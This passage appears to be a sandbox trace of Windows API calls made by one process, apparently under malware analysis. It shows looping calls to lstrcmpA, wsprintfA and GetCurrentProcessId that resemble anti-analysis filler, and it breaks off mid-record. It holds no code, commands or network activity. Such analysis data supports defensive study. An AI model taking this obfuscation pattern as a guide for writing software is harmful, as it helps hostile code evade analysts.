0xb44 [0031.677] lstrlenA (lpString="just string") returned 11 [0031.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.677] GetLastError () returned 0x57 [0031.677] GetLastError () returned 0x57 [0031.677] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.678] SetLastError (dwErrCode=0x57) [0031.678] GetCurrentProcess () returned 0xffffffff [0031.678] GetLastError () returned 0x57 [0031.678] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3132P") returned 5 [0031.678] SetLastError (dwErrCode=0x57) [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetCurrentProcess () returned 0xffffffff [0031.678] GetLastError () returned 0x57 [0031.678] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3133P") returned 5 [0031.678] SetLastError (dwErrCode=0x57) [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetLastError () returned 0x57 [0031.678] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3134P") returned 5 [0031.678] SetLastError (dwErrCode=0x57) [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] lstrlenA (lpString="just string") returned 11 [0031.678] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.678] GetLastError () returned 0x57 [0031.678] GetLastError () returned 0x57 [0031.678] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31A2P") returned 5 [0031.678] SetLastError (dwErrCode=0x57) [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] lstrlenA (lpString="just string") returned 11 [0031.678] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.678] GetLastError () returned 0x57 [0031.678] GetLastError () returned 0x57 [0031.678] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.678] SetLastError (dwErrCode=0x57) [0031.678] GetCurrentProcess () returned 0xffffffff [0031.678] GetLastError () returned 0x57 [0031.678] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31B4P") returned 5 [0031.678] SetLastError (dwErrCode=0x57) [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetCurrentProcess () returned 0xffffffff [0031.678] GetLastError () returned 0x57 [0031.678] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31B5P") returned 5 [0031.678] SetLastError (dwErrCode=0x57) [0031.678] GetCurrentProcessId () returned 0xb44 [0031.678] GetLastError () returned 0x57 [0031.678] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31B6P") returned 5 [0031.679] SetLastError (dwErrCode=0x57) [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] lstrlenA (lpString="just string") returned 11 [0031.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.679] GetLastError () returned 0x57 [0031.679] GetCurrentProcess () returned 0xffffffff [0031.679] GetLastError () returned 0x57 [0031.679] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31DDP") returned 5 [0031.679] SetLastError (dwErrCode=0x57) [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetLastError () returned 0x57 [0031.679] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31DEP") returned 5 [0031.679] SetLastError (dwErrCode=0x57) [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] lstrlenA (lpString="just string") returned 11 [0031.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.679] GetLastError () returned 0x57 [0031.679] GetLastError () returned 0x57 [0031.679] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.679] SetLastError (dwErrCode=0x57) [0031.679] GetCurrentProcess () returned 0xffffffff [0031.679] GetLastError () returned 0x57 [0031.679] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3204P") returned 5 [0031.679] SetLastError (dwErrCode=0x57) [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcess () returned 0xffffffff [0031.679] GetLastError () returned 0x57 [0031.679] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3205P") returned 5 [0031.679] SetLastError (dwErrCode=0x57) [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetLastError () returned 0x57 [0031.679] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3206P") returned 5 [0031.679] SetLastError (dwErrCode=0x57) [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] lstrlenA (lpString="just string") returned 11 [0031.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.679] GetLastError () returned 0x57 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] lstrlenA (lpString="just string") returned 11 [0031.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.679] GetLastError () returned 0x57 [0031.679] GetLastError () returned 0x57 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] lstrlenA (lpString="just string") returned 11 [0031.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.679] GetLastError () returned 0x57 [0031.679] GetLastError () returned 0x57 [0031.679] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="32CEP") returned 5 [0031.679] SetLastError (dwErrCode=0x57) [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.679] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] lstrlenA (lpString="just string") returned 11 [0031.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.680] GetLastError () returned 0x57 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] lstrlenA (lpString="just string") returned 11 [0031.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.680] GetLastError () returned 0x57 [0031.680] GetLastError () returned 0x57 [0031.680] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.680] SetLastError (dwErrCode=0x57) [0031.680] GetCurrentProcess () returned 0xffffffff [0031.680] GetLastError () returned 0x57 [0031.680] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="333AP") returned 5 [0031.680] SetLastError (dwErrCode=0x57) [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcess () returned 0xffffffff [0031.680] GetLastError () returned 0x57 [0031.680] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="333BP") returned 5 [0031.680] SetLastError (dwErrCode=0x57) [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetLastError () returned 0x57 [0031.680] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="333CP") returned 5 [0031.680] SetLastError (dwErrCode=0x57) [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] lstrlenA (lpString="just string") returned 11 [0031.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.680] GetLastError () returned 0x57 [0031.680] lstrlenA (lpString="just string") returned 11 [0031.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.680] GetLastError () returned 0x57 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] lstrlenA (lpString="just string") returned 11 [0031.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.680] GetLastError () returned 0x57 [0031.680] GetLastError () returned 0x57 [0031.680] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.680] SetLastError (dwErrCode=0x57) [0031.680] GetCurrentProcess () returned 0xffffffff [0031.680] GetLastError () returned 0x57 [0031.680] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="33DAP") returned 5 [0031.680] SetLastError (dwErrCode=0x57) [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcess () returned 0xffffffff [0031.680] GetLastError () returned 0x57 [0031.680] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="33DBP") returned 5 [0031.680] SetLastError (dwErrCode=0x57) [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetLastError () returned 0x57 [0031.680] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="33DCP") returned 5 [0031.680] SetLastError (dwErrCode=0x57) [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.680] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] lstrlenA (lpString="just string") returned 11 [0031.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.681] GetLastError () returned 0x57 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] lstrlenA (lpString="just string") returned 11 [0031.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.681] GetLastError () returned 0x57 [0031.681] GetLastError () returned 0x57 [0031.681] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.681] SetLastError (dwErrCode=0x57) [0031.681] GetCurrentProcess () returned 0xffffffff [0031.681] GetLastError () returned 0x57 [0031.681] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="342AP") returned 5 [0031.681] SetLastError (dwErrCode=0x57) [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcess () returned 0xffffffff [0031.681] GetLastError () returned 0x57 [0031.681] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="342BP") returned 5 [0031.681] SetLastError (dwErrCode=0x57) [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetLastError () returned 0x57 [0031.681] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="342CP") returned 5 [0031.681] SetLastError (dwErrCode=0x57) [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] lstrlenA (lpString="just string") returned 11 [0031.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.681] GetLastError () returned 0x57 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] lstrlenA (lpString="just string") returned 11 [0031.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.681] GetLastError () returned 0x57 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] lstrlenA (lpString="just string") returned 11 [0031.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.681] GetLastError () returned 0x57 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] lstrlenA (lpString="just string") returned 11 [0031.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.681] GetLastError () returned 0x57 [0031.681] GetLastError () returned 0x57 [0031.681] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="34B8P") returned 5 [0031.681] SetLastError (dwErrCode=0x57) [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] GetCurrentProcessId () returned 0xb44 [0031.681] lstrlenA (lpString="just string") returned 11 [0031.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.681] GetLastError () returned 0x57 [0031.681] GetLastError () returned 0x57 [0031.681] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="34E0P") returned 5 [0031.681] SetLastError (dwErrCode=0x57) [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] lstrlenA (lpString="just string") returned 11 [0031.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.682] GetLastError () returned 0x57 [0031.682] lstrlenA (lpString="just string") returned 11 [0031.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.682] GetLastError () returned 0x57 [0031.682] GetCurrentProcess () returned 0xffffffff [0031.682] GetLastError () returned 0x57 [0031.682] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3511P") returned 5 [0031.682] SetLastError (dwErrCode=0x57) [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetLastError () returned 0x57 [0031.682] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3512P") returned 5 [0031.682] SetLastError (dwErrCode=0x57) [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] lstrlenA (lpString="just string") returned 11 [0031.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.682] GetLastError () returned 0x57 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] lstrlenA (lpString="just string") returned 11 [0031.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.682] GetLastError () returned 0x57 [0031.682] GetLastError () returned 0x57 [0031.682] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.682] SetLastError (dwErrCode=0x57) [0031.682] GetCurrentProcess () returned 0xffffffff [0031.682] GetLastError () returned 0x57 [0031.682] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="359CP") returned 5 [0031.682] SetLastError (dwErrCode=0x57) [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcess () returned 0xffffffff [0031.682] GetLastError () returned 0x57 [0031.682] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="359DP") returned 5 [0031.682] SetLastError (dwErrCode=0x57) [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetLastError () returned 0x57 [0031.682] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="359EP") returned 5 [0031.682] SetLastError (dwErrCode=0x57) [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] GetCurrentProcessId () returned 0xb44 [0031.682] lstrlenA (lpString="just string") returned 11 [0031.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.682] GetLastError () returned 0x57 [0031.682] GetLastError () returned 0x57 [0031.682] GetLastError () returned 0x57 [0031.682] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.682] SetLastError (dwErrCode=0x57) [0031.682] GetCurrentProcess () returned 0xffffffff [0031.682] GetLastError () returned 0x57 [0031.682] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="360AP") returned 5 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcess () returned 0xffffffff [0031.683] GetLastError () returned 0x57 [0031.683] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="360BP") returned 5 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetLastError () returned 0x57 [0031.683] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="360CP") returned 5 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] lstrlenA (lpString="just string") returned 11 [0031.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.683] GetLastError () returned 0x57 [0031.683] GetLastError () returned 0x57 [0031.683] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcess () returned 0xffffffff [0031.683] GetLastError () returned 0x57 [0031.683] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3650P") returned 5 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcess () returned 0xffffffff [0031.683] GetLastError () returned 0x57 [0031.683] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3651P") returned 5 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetLastError () returned 0x57 [0031.683] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3652P") returned 5 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] lstrlenA (lpString="just string") returned 11 [0031.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.683] GetLastError () returned 0x57 [0031.683] GetLastError () returned 0x57 [0031.683] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3698P") returned 5 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] lstrlenA (lpString="just string") returned 11 [0031.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.683] GetLastError () returned 0x57 [0031.683] GetLastError () returned 0x57 [0031.683] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcess () returned 0xffffffff [0031.683] GetLastError () returned 0x57 [0031.683] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="36C8P") returned 5 [0031.683] SetLastError (dwErrCode=0x57) [0031.683] GetCurrentProcessId () returned 0xb44 [0031.683] GetCurrentProcess () returned 0xffffffff [0031.683] GetLastError () returned 0x57 [0031.684] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="36C9P") returned 5 [0031.684] SetLastError (dwErrCode=0x57) [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetLastError () returned 0x57 [0031.684] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="36CAP") returned 5 [0031.684] SetLastError (dwErrCode=0x57) [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] lstrlenA (lpString="just string") returned 11 [0031.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.684] GetLastError () returned 0x57 [0031.684] GetLastError () returned 0x57 [0031.684] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.684] SetLastError (dwErrCode=0x57) [0031.684] GetCurrentProcess () returned 0xffffffff [0031.684] GetLastError () returned 0x57 [0031.684] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="36DCP") returned 5 [0031.684] SetLastError (dwErrCode=0x57) [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcess () returned 0xffffffff [0031.684] GetLastError () returned 0x57 [0031.684] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="36DDP") returned 5 [0031.684] SetLastError (dwErrCode=0x57) [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetLastError () returned 0x57 [0031.684] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="36DEP") returned 5 [0031.684] SetLastError (dwErrCode=0x57) [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] lstrlenA (lpString="just string") returned 11 [0031.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.684] GetLastError () returned 0x57 [0031.684] GetLastError () returned 0x57 [0031.684] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="36E8P") returned 5 [0031.684] SetLastError (dwErrCode=0x57) [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] lstrlenA (lpString="just string") returned 11 [0031.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.684] GetLastError () returned 0x57 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] lstrlenA (lpString="just string") returned 11 [0031.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.684] GetLastError () returned 0x57 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] lstrlenA (lpString="just string") returned 11 [0031.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.684] GetLastError () returned 0x57 [0031.684] lstrlenA (lpString="just string") returned 11 [0031.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.684] GetLastError () returned 0x57 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.684] GetCurrentProcessId () returned 0xb44 [0031.685] lstrlenA (lpString="just string") returned 11 [0031.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.685] GetLastError () returned 0x57 [0031.685] GetLastError () returned 0x57 [0031.685] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.685] SetLastError (dwErrCode=0x57) [0031.685] GetCurrentProcess () returned 0xffffffff [0031.685] GetLastError () returned 0x57 [0031.685] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="379AP") returned 5 [0031.685] SetLastError (dwErrCode=0x57) [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcess () returned 0xffffffff [0031.685] GetLastError () returned 0x57 [0031.685] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="379BP") returned 5 [0031.685] SetLastError (dwErrCode=0x57) [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetLastError () returned 0x57 [0031.685] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="379CP") returned 5 [0031.685] SetLastError (dwErrCode=0x57) [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] lstrlenA (lpString="just string") returned 11 [0031.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.685] GetLastError () returned 0x57 [0031.685] GetLastError () returned 0x57 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] lstrlenA (lpString="just string") returned 11 [0031.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.685] GetLastError () returned 0x57 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] lstrlenA (lpString="just string") returned 11 [0031.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.685] GetLastError () returned 0x57 [0031.685] GetLastError () returned 0x57 [0031.685] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.685] SetLastError (dwErrCode=0x57) [0031.685] GetCurrentProcess () returned 0xffffffff [0031.685] GetLastError () returned 0x57 [0031.685] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3844P") returned 5 [0031.685] SetLastError (dwErrCode=0x57) [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcess () returned 0xffffffff [0031.685] GetLastError () returned 0x57 [0031.685] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3845P") returned 5 [0031.685] SetLastError (dwErrCode=0x57) [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetLastError () returned 0x57 [0031.685] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3846P") returned 5 [0031.685] SetLastError (dwErrCode=0x57) [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] GetCurrentProcessId () returned 0xb44 [0031.685] lstrlenA (lpString="just string") returned 11 [0031.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.685] GetLastError () returned 0x57 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] lstrlenA (lpString="just string") returned 11 [0031.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.686] GetLastError () returned 0x57 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] lstrlenA (lpString="just string") returned 11 [0031.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.686] GetLastError () returned 0x57 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] lstrlenA (lpString="just string") returned 11 [0031.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.686] GetLastError () returned 0x57 [0031.686] GetLastError () returned 0x57 [0031.686] GetLastError () returned 0x57 [0031.686] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="38B4P") returned 5 [0031.686] SetLastError (dwErrCode=0x57) [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] lstrlenA (lpString="just string") returned 11 [0031.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.686] GetLastError () returned 0x57 [0031.686] lstrlenA (lpString="just string") returned 11 [0031.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.686] GetLastError () returned 0x57 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] lstrlenA (lpString="just string") returned 11 [0031.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.686] GetLastError () returned 0x57 [0031.686] GetLastError () returned 0x57 [0031.686] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.686] SetLastError (dwErrCode=0x57) [0031.686] GetCurrentProcess () returned 0xffffffff [0031.686] GetLastError () returned 0x57 [0031.686] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="395CP") returned 5 [0031.686] SetLastError (dwErrCode=0x57) [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcess () returned 0xffffffff [0031.686] GetLastError () returned 0x57 [0031.686] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="395DP") returned 5 [0031.686] SetLastError (dwErrCode=0x57) [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetLastError () returned 0x57 [0031.686] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="395EP") returned 5 [0031.686] SetLastError (dwErrCode=0x57) [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] GetCurrentProcessId () returned 0xb44 [0031.686] lstrlenA (lpString="just string") returned 11 [0031.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.686] GetLastError () returned 0x57 [0031.686] GetLastError () returned 0x57 [0031.686] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.686] SetLastError (dwErrCode=0x57) [0031.686] GetCurrentProcess () returned 0xffffffff [0031.687] GetLastError () returned 0x57 [0031.687] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="397AP") returned 5 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcess () returned 0xffffffff [0031.687] GetLastError () returned 0x57 [0031.687] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="397BP") returned 5 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetLastError () returned 0x57 [0031.687] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="397CP") returned 5 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcessId () 